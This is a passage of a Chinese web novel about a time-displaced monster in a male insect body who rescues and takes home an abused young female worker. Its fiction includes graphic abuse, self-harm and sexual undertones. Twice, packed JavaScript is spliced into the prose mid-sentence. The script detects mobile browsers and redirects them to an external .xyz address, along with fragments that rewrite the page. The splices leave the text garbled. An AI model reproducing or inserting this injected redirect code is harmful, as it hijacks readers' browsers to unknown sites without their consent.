品尝到香甜的信息素,厄眠舒适地半阖起眼眸,增大力度将手掌下压,让手心中央处的最大吸盘将一整颗凸起的喉结完全包裹。 他直勾勾地凝视着塔慕斯的面容,眸底涌动出极具侵占性的癫狂光泽,湿滑而冰冷的粉色触手贪婪地抚过每一寸皮肤。 厄眠扼住塔慕斯的脖颈,隔着柔软温热的皮肤感受着血管的有力跳动,病态地享受着掌控猎物生命的快.感。 黑暗中响起一声低低的呢喃:“我的。” * 我再次陷入无比真实的可怕幻觉,并且有种强烈的预感,这种可怖而真实的幻觉会伴随我一段很长很长的时间,不仅是“明晚”,在下一个晚上,下下个夜晚,下下下个晚上……甚至直至死亡。 近乎真实的幻觉几乎占据了我的每一个夜晚。 它是触手湿滑黏稠的巨型章鱼,是拥有柔软绒毛的大型动物,是没有温度的粗粝藤蔓…… 即使无法睁开双眼,我也能想象出皮肤被怪物摩擦得发红发烫的画面…… 这些饥渴的怪物都有一个相同的特征——它们喜欢我的皮肤。 摩擦、舔舐、亲吻、啃咬……我的皮肤于怪物们而言似乎是一道极其美味的佳肴。 食物,我是它们的食物。 头有些痛,那段残缺的记忆隐约从脑海深处浮现出来一些。 恍惚间,我看见了一点儿那名雄虫的轮廓。 好难受,现在的这只怪物比之前的怪物更加恶劣,它堵住了我的鼻腔,让我无法呼吸。 窒息的痛苦渐渐令我绝望,我不想死在这儿,可却连一点儿挣扎都做不到。 意识在缺氧的痛苦中越来越模糊,我几乎快要分不清这究竟是幻觉还是真实了。 “呼……呼……” 怪物收回了覆盖住我鼻尖的触手,我终于呼吸到氧气。 我意识到,怪物们是有意识的,在它尝腻我之前,它不会让我死亡。 雄虫的轮廓再次浮现,我隐约回忆起我们的初遇,初遇并不美好,应该用“痛苦”这个词去形容。 雄虫以折磨我看我痛苦为乐趣,将我虐待得狼狈不堪,然后伪装成高高在上的神明,把从我这儿抢夺走的本就属于我的东西施舍给我,最后似乎又要我对他感恩戴德。 我如他所愿跪下感恩,他却依然不觉得满意,与我玩着一场无聊的救赎游戏。 可怕的是,这样一名残暴恶劣的雄虫,我却似乎对他产生了某种情感。 不是憎恶,是另一种与之相反的、深沉且热烈的情感。 于是我决定用漫长余生去寻回那段残缺的记忆。 * 〔星元8127年,雪绒星,A区,中心医院。〕 “嘀——嘀——”医疗仪器发出两道尖锐的声响。 “希泽迩阁下有清醒的趋势!”医护员如释重负,快速用仪器为病床上的雄虫阁下检查身体。 厄眠缓慢地睁开眼睛,抬手去揉发疼的太阳穴,而后茫然地注视着闯入视野的陌生手掌。 希泽迩?阁下? 不是!哥那威风凛凛轻轻松松就能撬开塔慕斯脑壳的18条粉色触手呢?哥怎么感受不到它们的存在了?!! 4. 雄虫希泽迩 大批医护员有条不紊地为病床上的尊贵雄虫阁下做检查。 医生观察着雄虫的脸色,小心翼翼地劝说:“希泽迩阁下,这是您第4次因饮酒过度住院,酒精已经严重影响到了您的身体健康,您真的需要开始戒酒了……” 厄眠完全没听进医生的话,心思全放在自己那消失的18根威风凛凛粉色大触手上。 不仅感受不到触手的存在,连小藤蔓、小粘液、小触角、大尾巴、大翅膀……这些全没了!全没了!!! 他现在弱到连一个低级恶灵都能轻松摁死的程度! 身旁的医生还在滔滔不绝地讲述:“您可以多做一些有趣的事把注意力从饮酒上移开,比如旅游、打游戏、品尝美食、养宠物……或者找几名雌虫,与他们一起孕育几个可爱的小虫宝……” 听到“美食”这两个字,厄眠终于转头去看旁边的医生,问:“有饭么?” 考虑到雄虫阁下现在的身体状况,医护员送来的饭菜都比较清淡。 厄眠不挑食,单吃白馒头都觉得好吃,扒拉着饭菜吃得贼香。 雄虫可免费享用医院最高级的医疗设备与药物,到了第二天,厄眠的这具身体已经可以正常进食。 于是厄眠享用到了一顿进入虫族以来最丰盛的午餐。 卤猪蹄、煎鳗鱼、红烧鱼、糖醋排骨、牛肉丸子、海鲜汤…… 然后是下午茶,海盐芒果布丁、双色糖心饼干、芝士珍珠奶茶、草莓巧克力慕斯、芋泥牛奶烧仙草…… 紧接着是晚餐和宵夜。 要不是这具新身体消化太慢,吃太撑会胃疼,厄眠绝对要把一天24小时都用在吃上。 这些超美味的美食塔慕斯可从未给他吃过,刚开始他还能预支工资去逛逛小吃街,后来他和塔慕斯撕破了脸,连一分工钱都无法提前拿到手。 在调查局,每日的早餐除了油条包子就是包子油条。午餐也就三道菜,连汤都少见。晚餐不是面条就是泡面,偶尔那位黑心上司心情好了,面条里才能加个小小的煎蛋。 虽然那些食物的味道也都不错,不过与厄眠今天吃的这些根本就没法比。 塔慕斯只是一个因失去翅翼而被虫族帝国抛弃的落魄军雌,指望他给员工加工资加餐?不现实。 希泽迩,雄虫…… 厄眠舔了舔嘴角残留的酸甜果汁,满意地看着账户中那6位数的余额。他在某位黑心上司那儿打工十年都不一定能赚到这些钱,拿着这笔巨款,他可以想吃什么就买什么。 这个新身份似乎挺不错的。 他现在懒得去深究这一切变故产生的源头,只想使劲干饭。 住院第三天,身体完全恢复的厄眠非常不情愿地离开医院,去寻找下一个能吃饱饭的地点。 他识字不多,终端也用的不顺畅,折腾了许久才在地图上找到一家看起来不错的自助餐厅。 正常的自助餐厅是不允许打包的,不过厄眠此刻的身份是一名稀有珍贵的雄虫,所以餐厅经理主动为他打包了许多食物。 拎着大包小包的食物走出餐厅时,外面的天色已经彻底黑下去,望着陌生的街道,厄眠忽地有些茫然。 餐厅斜对面是一家酒吧,衣着暴露性感的雌虫酒保笑盈盈地过来迎接厄眠,挽住他的胳膊,用低软黏腻的嗓音说:“希泽迩阁下~您这几天都没来找小九~小九好想您啊~我们店新购了两瓶品质极佳的酒,这款酒在皇室贵族那边可流行了,流入雪绒星的总共也才不到一百瓶,小九专门为您留下了一瓶呢~快跟小九进店尝尝~” 这具身体的原主就是饮酒过度进的医院,在医院待的那三天,医生可没少给他灌输饮酒伤身的思想。 厄眠对酒第一反应是抗拒,可一想到塔慕斯曾边喝酒边嘲笑他是个不能饮酒的十多岁小屁孩,反骨一下子就冒出来了,当即跟着雌虫进了酒吧。 他就非要跟塔慕斯对着干,非要去尝一尝酒是啥味的。 冰凉的液体触碰到舌尖,带来强烈的灼烧感,厄眠被烈酒刺激的味道激得绷紧嘴唇,艰难地吞咽下口中的液体。 很快,灼烧感蔓延至整个食管,连同胃部都开始发热。 仅一口厄眠就迷上了烈酒带来的刺激感。 小九笑眯眯地将一份账单放至他手边。 厄眠被账单最下方那6位数的欠款惊到,强装淡定地移开视线。 “阁下,这是之前的账,您看您今天是要结账还是继续记?” “记上。”厄眠眼睁睁地看着账单上的6位数变成7位数,忽然就觉得这酒也不是非喝不可了。 “砰!哗啦啦……”酒瓶碎裂发出尖锐的声音。 厄眠顺着声音望去,被一道身体沾满红色酒液的瘦弱身影吸引了视线。 雌虫身形消瘦得过分,微微发黄的发梢、苍白病气的面容、干瘦内凹的脸颊……严重营养不良,瘦弱到连酒吧配置的工作制服都撑不起来。 被酒液浸湿的蓝色短发上落了一层尖锐的玻璃渣,飞溅的玻璃渣划破脸颊,伤口流淌出的殷红血液与酒水混合到一块,红色液体沿着干瘦的面庞下滑,将白色的衣领弄得肮脏不堪。 雌虫的脖颈被一个冰冷的金属环禁锢住,微低着头,如一具生锈的机器,僵硬着身子承受着酒客的虐待与羞辱。 “砰!”酒客朝服务员的头砸下第二瓶酒,粗暴地掰开他的嘴,将冰冷坚硬的瓶口重重插-入他的口腔。 “让你喝几瓶陪爷几个玩玩还不乐意了是吧?一个下贱的玩意装什么清高?都到这儿工作了不就是来卖的?怎么?看不上爷几个?就你这身子瘦得跟个棍似的,还幻想着能攀上一名雄虫阁下?” “咳咳……”雌虫被扯着头发,被迫上扬脖颈吞咽酒液,喉咙中不断溢出痛苦的咳嗽声,被冰凉刺激的酒激出了泪水。 待一瓶酒全部灌入胃中,酒客又摁着服务员的头开始灌下一瓶。 在瓶口触碰到雌虫的唇之前,一只手攥住了酒瓶,将酒瓶从酒客手中夺下,而后一瓶子朝酒客的头重重砸过去。 酒客被这一瓶子干懵了,抡起椅子正要发作,被旁边的小九手忙脚乱地拦住,低声提醒:“这位是雄虫阁下。” 酒客的身子猛地僵住,立即下跪到铺满碎玻璃扎的地面道歉,抬手狠狠扇打自己的脸。 0918-L星只有雌虫与亚雌,没有雄虫,在那颗偏远的垃圾星上,厄眠几乎体会不到身份差距。如今这名雌虫仅仅只是冒犯到他这名雄虫,连雄虫的衣服都没沾到就畏惧成如此模样。 虫族的雌虫显然比雄虫强大,因此厄眠不太能明白,雌虫为什么会畏惧更为弱小的雄虫。 不过虫族这种奇怪的制度明显对现在的他有利,就比如可以得到免费或者便宜的食物。 厄眠半阖眼眸,用带着探究的视线注视身旁这名被欺辱的服务员。 面颊、脖子、手腕、手心、手背,凡是露在衣服外的皮肤全部带着大大小小的疤痕。 “擦擦。”厄眠拿起桌上的一包卫生纸递过去。 “谢谢阁下。”雌虫低垂着头。 雌虫的嗓音发哑,即使这样,厄眠还是敏锐地从沙哑的声音中捕捉到一些熟悉的音色。 这熟悉的声音他可是一听见就触手痒痒,巴不得捶爆脑壳的那种痒痒。 相似的外貌,相似的声音,还有…… 厄眠贴近雌虫,将鼻尖凑到雌虫的脖颈轻嗅,从浓郁的酒味中捕捉到一抹香甜的柠檬糖味信息素。 卧槽!!?塔他大爷的慕大卤蛋斯!!?? 厄眠无论如何都无法把眼前这个可可怜怜的懦弱受气包小服务员,与那个恶劣抠门并且能一刀干掉数只恶灵的黑心老板联系到一块。 有那么一瞬间,他甚至觉得这只雌虫是塔慕斯的双胞胎弟弟,或者是被塔慕斯那个渣渣雌父无情抛弃的可怜孩子。 可这清甜的柠檬糖味信息素厄眠在数个夜晚细细吸吮品尝过无数遍。 他用黏腻的粉色触手将对方死死缠绕,用温热的长舌贪婪舔舐,或用柔软的白色大尾巴将他紧密包裹…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736215|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他对塔慕斯的信息素与身体无比熟悉。 信息素,一模一样的信息素。 “阁,阁下?”塔慕斯的身子微微后仰,低垂的睫羽轻颤着,一滴挂在睫毛处的红色酒液随着睫羽的轻颤滑落下去。 厄眠的鼻尖轻轻贴着塔慕斯的侧颈,两人距离极近,于是这颗顺着塔慕斯睫羽滑落下去的冰凉酒液落到了厄眠脸上。 厄眠抬手擦掉脸庞上的液体,问:“你多大?” “他上月刚成年,之前在另一家酒吧打工,这两天才转到我们店。”小九非常有眼力见地开始讨好塔慕斯,体贴地为塔慕斯擦拭身上的酒液,“干净的,没有顾客碰过,阁下放心玩。” 厄眠这几天的心思全部放在干饭上,完全没注意到时间跃回了13年前。 他讨厌13年后的某位黑心上司,怎么看怎么不顺眼,可面前这个比自己还小一岁的塔慕斯…… 消瘦的面容、遍布身体的疤痕、黯淡无光的眼睛、瘦弱的身形、满身肮脏的酒液、一头的碎玻璃渣…… 啧……虽然13年后因失去翅翼被下放到偏远的垃圾星,可在垃圾星好歹也是个吃穿不愁的局长,现在咋就混成了这个连饭都吃不饱的落魄样? 厄眠讨厌塔慕斯,厌恶被当成一件器具利用,如果不是对方可以随时消除他的身份ID让他成为黑户,让他无法光明正大地留在虫族炫饭,他早就把塔慕斯狠狠揍过好几顿了,每次都要揍到对方可怜兮兮地叫“哥哥”求饶才行。 看到日后的黑心上司年轻时混成这样,厄眠理应感到些许快意才是。 可眼前这只瘦弱到连背都挺不直的雌虫却令厄眠无法滋生出半分报复的快-感。 厄眠无奈叹息,抬手随意地糊拉着塔慕斯的头,帮他把头发上的碎玻璃弄掉。 塔慕斯依然低垂脑袋,垂下的眼睑中看不见丝毫情绪。 厄眠一手拎着大包小包的打包盒,一手攥住塔慕斯那瘦得几乎仅剩下骨头的手腕,拉着对方走出酒吧,把一盒食物塞过去,说:“吃。” “谢谢阁下。”塔慕斯的声音沙哑得过分,拆开包装盒,把食物大口往嘴里塞。 等他吃完,厄眠递过去一瓶饮料,问:“怎么不反抗?” 沉默片刻,塔慕斯回答:“不敢。” 不敢? 他可不信塔慕斯不敢,这家伙惯会伪装,刚认识那段时间就伪装成爱护员工的老好人,每天嘘寒问暖关心他的身体情况,结果呢?结果所谓的关心只不过是想知道他啥时候被恶灵或者煞气弄死,需要赶在他死之前找下一个。 厄眠又把手中的食物塞给他几份,想到未来的塔慕斯那欠揍的德行,没好气地说:“赶紧给哥滚回家。” 塔慕斯抱着食物快速离开,全程低着头,不知是否因为畏惧,走路时双腿不断颤抖。 “啧。”厄眠望着那道远去的背影蹙眉。 他看习惯了塔慕斯双臂环抱立在那儿冷着脸颐指气使的恶劣模样,突然见到与之完全相反的另一面还真不太适应。 * 耳边是夜风拂过桥洞发出的“呼呼”声,上涨的河水漫上地面,将两块单薄的破布浸湿。 塔慕斯扯着湿透的布蜷缩在桥洞的一角,冷意渗透皮肤钻入骨缝,呼吸间充斥着河水的腥味与难闻的霉菌气味。 耳边响起雄虫的话——怎么不反抗? 反抗? 脏污的冰水从头顶浇下,带着倒刺的鞭子划破衣物,皮开肉绽,倒刺勾下一块块细小的碎肉,粗粝的鞋底踩住脊背用力碾压,坚硬的棍棒砸断肋骨…… 这是不顺从的代价,不顺从尊贵的希泽迩阁下的代价。 塔慕斯用力抓着被雄虫触碰过的手腕,力度大到几乎要将那片皮肤一整块剥除。 手下的触感逐渐滑腻,血味混合着霉菌难闻的气息钻入鼻腔,有什么温热的东西沿着胳膊掉了下去。 手臂似乎变轻了一些,塔慕斯甩了甩另一只沾满血液的手,在黑暗中平静地注视着那块掉入污水的皮肉。 5. “喊哥哥” 终端中存有原主的住址,厄眠打开导航选了条最近的路,跟着导航在小巷子里左拐右拐,成功被带入一个死胡同,其实也不是完全没路,至少墙角那儿有个可以钻过去的洞。 厄眠边骂缺德导航边往洞的另一边爬,头刚探出洞口,就直直地对上一道视线。 于是厄眠达成新成就——被未来的黑心上司目睹了他人生中第一次钻狗洞。 “吃撑了消消食。”厄眠为自己找好借口,站起身淡定地拍了拍衣服上的灰尘,蹙眉看着这个阴冷肮脏的桥洞,“你就住这?” “很抱歉妨碍到您散步消食,我现在就离开。”塔慕斯身上穿的还是酒吧的工作服,他的东西不多,仅有两张潮湿的破布与一个木盒,背对着厄眠将木盒裹进破布中,抱着湿漉的布弓着腰快速离开。 厄眠捕捉到空气中弥漫的血腥味,忍不住开口问:“受伤了?” 塔慕斯停顿在原地,缓缓转过身。 借着终端手环散发出的光,厄眠看清了污水中的东西——一块带着殷红血迹的皮肉。 肉块的位置恰好在塔慕斯刚刚坐的地方。 厄眠快步走向塔慕斯,距离拉近,他才看清对方那缺失了一块皮肤并且隐隐露出白骨的猩红手腕。 而塔慕斯的另一只手上沾满血,指甲缝中还挂着一点儿碎肉。 这……咋还有自虐倾向? 即使未来的黑心上司再怎么恶劣,好歹也将厄眠从一颗寸草不生的荒星带到一个有着各种美食小吃的星球。 所以厄眠也有理由把现在这个比自己还要小一岁的小雌虫安顿到一个比桥洞更好的新地方。 终端里留存了医院医护员的联系方式,厄眠打通讯向医护员简单说明情况并报了家里的地址,然后带着塔慕斯回住处。 路上塔慕斯一直沉默地低着头,厄眠主动跟他说话时,他才客客气气小心翼翼地回上那么一句。 塔慕斯的一只胳膊紧紧抱着一堆破烂,另一只胳膊又受了伤。厄眠想拽他都没地方拽,只好扯着他的衣服下摆,像牵一只受伤的大猫咪那样牵着他。 原主的住处是一栋两层的小别墅,厄眠把塔慕斯摁到沙发上坐着,在各个房间翻腾起来。 柔软的浅咖色沙发被身上脏臭的污水与血弄得肮脏。 塔慕斯紧绷着身子,局促不安地坐在这间干净的房子里。 * ——“塔慕斯你个欠*的骚玩意居然敢弄脏老子的鞋!脱干净!给老子用你欠*的**擦干净!” 他跪在地上小心翼翼地为雄虫倒酒,雄虫狠狠踹着他的腹部,手中的酒液洒落,落到雄虫的鞋面。 他无法做到在公众场合脱下衣物,也不如其他雌虫那般擅长用语言与身体去取悦雄虫,只会低垂着头沉静地跪在那儿,如一具死板僵硬的尸体,没有雄虫会对一具尸体感兴趣。 ——“敢不服从老子的命令?信不信老子把你扒了扔到最脏的公共厕所,让成百成千的雌虫把你的肠子*出来!” 雄虫抬起手,巴掌重重地落到面部,火辣的疼痛在面部扩散开,指甲划破眼角,视野被血镀上淡淡的红。 繁重的学业从未压倒过塔慕斯,他考上虫族帝国最好的大学,却被随着录取通知书一块发下来的缴费单压得无法喘息。他要完成学业,他需要这份薪水高的工作,必须留在酒吧。 雄虫打疼了手,把施虐的道具换成带刺的长鞭,将整瓶烈酒浇灌在被抽打得向外翻扯的皮肉之上…… * 厄眠找到原主的卧室,从衣柜中翻出一件干净的衣服递给塔慕斯,让他去浴室清洗身体。 塔慕斯抱着从桥洞底下带来的那堆破烂进入浴室。 厄眠的好奇心被那个木盒勾了起来,这个木盒他在某位黑心老板的卧室里见过。 经历了漫长的13年木盒依旧完好无损,只是表面的颜色有些许改变。他好奇里面究竟装了什么东西,能让那黑心老板宝贝十多年。 塔慕斯换上干净的衣物从浴室出来时,医护员立即凑过去为他处理伤口。 厄眠本以为严重的伤仅有手腕那一处,可掀开衣服一看,里面的皮肤几乎没有一块是好的。 结疤的鞭痕、拳头殴打出的青紫色痕迹、指甲抓破皮肉留下的月牙形掐痕、毒虫叮咬出的红包或者发脓的水泡……密密麻麻的伤痕被桥洞底部的污水浸泡得发炎发烂。 “操!”厄眠烦闷地搓了把头发,火气“蹭”的一下就上来了,“谁干的?” 塔慕斯安静地坐在沙发上由医护员处理伤口,抬起目光迷惑地望向他。 他不知道雄虫为什么会问出这个问题,也不清楚雄虫的脸上为什么带着愤怒。分明他身上的大部分伤痕都是雄虫亲手留下的,分明这只雄虫才是最凶残暴戾的施暴者…… 是不满他身上多出了一些其他酒客留下的伤痕? “塔慕斯。”厄眠努力压抑着暴躁的情绪,声音低沉,“告诉我谁做的。” “酒吧的顾客。”塔慕斯回答。 “等你伤好了我跟你一块报复回去,酒吧那地方以后别去了。”厄眠在他对面坐下,拆开打包盒炫饭。 塔慕斯没有回应。 “非得去?咋的?喜欢被揍?来找哥,哥保证揍得你八百天下不来床。”说完这句话,厄眠忽地意识到什么,立即压低声音改口,“缺钱?缺多少哥借你。” 从雄虫手中得到任何东西都需要付出代价,塔慕斯知道自己无法承受那沉重的代价,直接拒绝:“谢谢阁下的好意,我并不缺少,只是没事可做,就随便找了一份工作打发时间。” 他只是一名很普通的A级雌虫,性格沉闷,面容消瘦,身材干瘪,没有好的外貌与身材,从不讨雄虫喜欢。 可眼前这名雄虫却亲自将他带到住处,为他送上干净的衣服,甚至还联系医护员为他处理伤口。 那原因便只有一个——雄虫玩腻了那些性感漂亮的雌虫,想换个完全相反的风格玩玩。 或许雄虫的下一步就是匹配他为雌侍,按虫族帝国律法,匹配后的雌虫必须将全部资产上交雄主,同时放弃身边的一切事物全心全意侍奉雄主,除非得到雄主的特许,才能继续学业或者事业。 事业还好,毕竟雄虫需要钱财,多少都会同意雌虫在匹配后继续工作。可一分钱都赚不到还要贴钱进去的学业就完全不同了,雄虫挥霍无度贪图享乐,没有多少雄虫愿意缩减自己的开支去让一个不重要的雌侍上学。 塔慕斯想,像自己这么无趣的雌虫,雄虫或许很快就会玩腻,他只要撑到雄虫失去兴趣就行了。而一旦暴露自己有继续学业的心思,雄虫很可能会为了绑住他,直接强迫他匹配。 被黑心上司骗得多了,现在这个塔慕斯每说一句话,厄眠都下意识要去判断话中的真假。 眼前的这个缩小版塔慕斯简直瘦弱得过分,又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736216|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在酒吧被虐待,又是裹着两块破布睡桥洞的,怎么看都不像是不缺钱的样子。 厄眠添加了塔慕斯的联系方式,一口气转过去整整5千,放在13年后,这可是他足足两个多月的工资呢!便宜这又瘦又矮的小屁孩了。 “喊哥哥。”厄眠记仇得很,黑心上司命令他喊“哥”,他当然要趁着现在让这个还未来得及黑化的塔慕斯喊回来。 “哥哥。”塔慕斯的声音轻而哑。 厄眠顿时觉得身心舒坦,舒坦不过几秒又觉得对方脖子上的抑制环无比碍眼。 这东西他戴过,黑心上司亲手给他戴上的,功能可多了,电击、缩紧、定位、抑制身体恢复能力。虽然这些功能黑心上司一个都未对他使用过,不过每天闲的没事就要挂在嘴边说一遍,也没别的意思,单纯就是使坏吓唬他。 所以他想把塔慕斯身上这个不知道谁强制戴上的抑制环摘掉,然后买一个新的亲手给塔慕斯戴上去,学着那位黑心上司,闲的没事了就用电击吓唬吓唬对方。 “先睡觉。”厄眠拉着塔慕斯上楼。 二楼有三间卧室,一间堆满杂物,一间未打扫,只有主卧可以住人。 厄眠从次卧抱来一个枕头,打算先让塔慕斯在主卧睡一觉,等明天伤势恢复一些就让他滚客厅睡沙发去。 塔慕斯在床的边缘侧身躺下,身子紧贴着床沿,似乎一翻身就能摔下去。 要是夜里摔下去,估计刚处理好的伤口又得裂开。厄眠可不想再多伺候他一天,伸手把他原本侧躺的身子扒拉成平躺。 正要关灯,厄眠听到一阵略显沉闷的“咕噜”声,想开口让塔慕斯自己下楼去厨房随便吃点,可看着这瘦的跟个电线杆子似的的身子,无奈地叹了口气,纡尊降贵般下床拿食物。 厄眠不太能理解自己今日的种种行为。 13年后的黑心上司整天摆着一张臭脸颐指气使,为了工资与身份ID,他勉勉强强忍了。 小时候的塔慕斯身上没有一样他所需要的东西,他顶多只用为对方提供一个住处,其他的事完全没必要管,可却被对方这凄惨可怜的模样激起了一些怜悯。 他是一只身体带毒且没有固定形态的扭曲怪物,能勉强控制住情绪不主动伤人就不错了。 怜悯?或许只是因为更换了一具新的身体,意识不再会被那携刻于血肉中的残暴本性影响。 厄眠抱着从冰箱里取的牛奶与一大份吐司面包上楼,楼上到一半才意识到面包已经被炫掉大半,对自己这嘴无语极了,骂骂咧咧地转身下楼回厨房重新拿了两包。 塔慕斯礼貌道谢,坐在床的边缘安静地啃面包。 厄眠居然觉得这货鼓着腮帮子嚼嚼嚼的模样怪可爱的,忍不住想把他喂胖一些。 瘦成这样,还没有长大后的一半好看,只喂胖一些哪够啊?至少得喂胖个四五十斤。 察觉到雄虫的视线,塔慕斯进食的速度慢下去,垂在身侧的手紧紧揪着衣服,把平整的布料揪出褶皱。 “吃快点,干饭都不积极。”厄眠只要一看到食物嘴就馋,从他手中揪下一小块面包填入口中。 于是塔慕斯加快咀嚼速度,待吞咽下最后一口牛奶,才僵硬着手把衣摆向上扯,露出一小截缠满医用纱布的劲瘦腰腹,说:“阁下,您要使用我吗?” 眸光暗沉,嗓音轻哑,消瘦的面容之上毫无情感,像是一具按照设定程序复述句子的机器。 6. “蛋糕” “什么阁下?喊哥哥。”厄眠垂眼注视那被纱布缠绕的干瘦腰肢,“伤口疼?” “不疼。”塔慕斯仓促地松开手指,衣服落下,遮挡住满是伤痕的丑陋身体。 “不疼就赶紧睡觉。”一整天不是在炫饭,就是在炫饭找餐厅的路上,这具新身份体力不太行,厄眠早就感到疲惫。 塔慕斯扯起被子躺好,身体依旧紧贴着床的边沿。 肚子很胀,被强迫灌入的酒液混合着面包牛奶在胃中翻涌,不舒服,不过比起饿着肚子蜷缩在阴冷肮脏的桥洞已经要好上太多了。 他在柔软温暖的大床上微微弓起身子,调整了一个相对舒服的睡姿,享受着暴雨来临前的短暂宁静。 他可不相信一名前几天还对自己恶语相向辱骂虐打的残暴雄虫会改变性子,等过段时间玩腻了,那些鞭子钢棍便会重新落到他身上。 再忍一忍,只要忍到雄虫玩腻,忍到攒够学费,到时就可以远离这颗星球,去往那繁华盛大的主星,迈入无数雌虫向往的帝国学院。 * 每次白天在黑心上司那儿受了欺负,厄眠夜间都会逮着黑心上司使劲压榨回来。 身体融成一滩黏稠的液体,完完整整地覆盖住对方的每一寸皮肤,液体粘黏着皮肤不断蠕动,贪婪而放肆地吸取着皮肤散发出的甜腻柠檬气息。 血液中蕴含的信息素比皮肤表层的更加浓郁,所以厄眠偶尔还会在对方腰腹或者手臂扎出一个小孔,然后将如发丝般细软的透明小触角伸进去轻轻吸吮。 现在,一颗巨大的柠檬糖就在旁边,散发出的甜腻气息随着一呼一吸充斥肺腑,这于一个喜爱甜食的吃货而言诱惑无疑是巨大的。 可触手、吸盘、藤蔓、触角、粘液……这些能把食物紧紧包裹缠绕,而后深入吸吮香甜信息素的身体部位全没了!!! 厄眠现在只能闻闻味,想吃都吃不到。 他放轻动作把身子朝塔慕斯那边挪了挪,挪一点,再挪一点,直到触碰到对方的身体,而后侧过身子伸出一只手臂与脚缓缓压到塔慕斯身上,像在抱一只巨大的柠檬糖味抱枕。 一系列动作熟练得很。 只是把胳膊与腿压上去还嫌不够,厄眠将脑袋也缓缓贴过去,下巴抵在背部轻轻蹭着,脸颊被塔慕斯后脑的头发弄得有些痒。 甜的,温热的,抱着还挺舒服的,就是太瘦了,全是骨头咯得慌。 厄眠倦怠地眯着眼睛,冷绿色的瞳仁被从窗外透入的月光镀上一层柔和的色调。 其实也还不错,就当……养一只柠檬糖味的大猫咪。不对,猫咪是毛茸茸软绵绵的,怀里的这个又瘦又硌手,半点儿都不软乎。 这几天新品尝到一款名为“慕斯”的美味蛋糕,跟塔慕斯这货的名字挺相像的,以后就叫他蛋糕了,柠檬糖味的慕斯蛋糕。 ——蛋糕。 某位能一脚踹飞几只恶灵的黑心少将,要是知道他给小时候的自己取这么一个幼稚娇软的称呼,估计得气炸。 厄眠上扬嘴角,露出得逞的坏笑。 * 恍惚间闻到一丝食物的香味,厄眠朦胧的意识被香味勾得清醒,蹙眉看着旁边空了的位置。 洗漱好下楼,餐桌上已经摆放了精致的早餐,塔慕斯正手持锅铲煎煎饼,听到脚步声,停下手中的动作转过头问好:“阁下,早安。” “说几遍了喊哥,再叫阁下把你脑壳捶爆。”厄眠嘴角微扬,觉得这家伙还怪懂事的,知道不能白吃白住,主动干家务做饭。 等煎饼出锅,厄眠正好炫完一碗粥,把空碗往塔慕斯那儿一推,微仰下巴,学着某位黑心上司使唤员工干活的模样,命令道:“蛋糕,给哥盛碗粥。” 蛋糕? 塔慕斯迷惑地眨眨眼,接过空碗,问:“阁下想吃蛋糕?我这就去蛋糕店为您购买。” “过来。”厄眠朝他勾勾手指,等他移动身子凑上来后,抬手就给了他一个脑蹦,“给你糖球的脸了?好好跟你说话你不听,非要哥上手捶你脑壳才听话是吧?” 厄眠的手就放在塔慕斯脑袋上方,似乎只要他口中再蹦一个“阁下”出来,立即就能朝脑袋敲下去。 塔慕斯抿紧嘴唇,片刻后才低低喊了声:“哥哥。” “诶~这才对嘛。”厄眠满意极了,勉强算是报了某位黑心上司威逼利诱自己喊哥哥的仇。 “以后我叫你‘蛋糕’,你喊我‘哥’,听到没小矮子?”厄眠依然微扬着下巴,语气带着不容置疑,把黑心上司那高高在上的语气学得有七八分相像。 “听到了。”塔慕斯回答。 “给你哥盛粥去吧。”厄眠夹起一块热乎的煎饼塞进嘴里。 于是塔慕斯立即转身去盛饭。 无比顺从的姿态反而让厄眠不太自在,觉得这样的塔慕斯就像以卡新购入的那具清洁机器人,只会按照主人的命令行动,没有半分属于自己的意识。 呵,想到那个机器人他就来气,有那经费去买什么清洁机器人还不如给他涨点儿工资或者每顿饭多加俩红糖馒头呢。 一碗盛满的粥放到手边,厄眠拿起勺子正要喝粥,旁边的塔慕斯“啪叽”一下就跪了,双膝并拢紧贴在一块,双手交叠放在腿前,跪姿标准得很,一动不动的,没有半分要干饭的意思。 厄眠:“?” 他不懂怎么吃饭吃的好好的突然来这么一出,简单回忆了一遍从昨晚遇见塔慕斯开始到现在发生的事,问:“昨天给的钱不够?还想再要?” 塔慕斯侧过脑袋,茫然地望着他。 厄眠蹙眉。 不是要钱?那是啥?这小矮子从见面到现在就没主动说过几句话,好端端的又突然行什么大礼?行了礼还默不作声跟个小哑巴似的,这小矮子的嘴是个摆设吗? “想做什么直接给哥说清楚,再不说话捶死你。”厄眠把手中的餐具往旁边一扔,有意做出生气的模样吓唬他,可实在抵挡不住食物散发出的香味,伪装不过3秒就拿回餐具炫了起来。 茫然许久,塔慕斯才试探性地回答:“服侍您用餐。” “服侍用餐?什么东西?”厄眠拉起他把他往凳子上一摁,拿了份餐具递过去,“吃。” “阁……哥,雌虫与雄虫平坐共餐不符合规矩。”塔慕斯挣扎着想要站起身,可肩膀被雄虫按着,连挣扎都不敢用太大的力气。 雌虫雄虫身份差距巨大,数量稀少的雄虫是虫族帝国的统治者,雌虫存在的意义便是侍奉雄虫为雄虫延绵子嗣。 即使是雌虫之中身份地位最高的SS级帝国元帅,在面对最低等的F级雄虫也依然要下跪行礼。 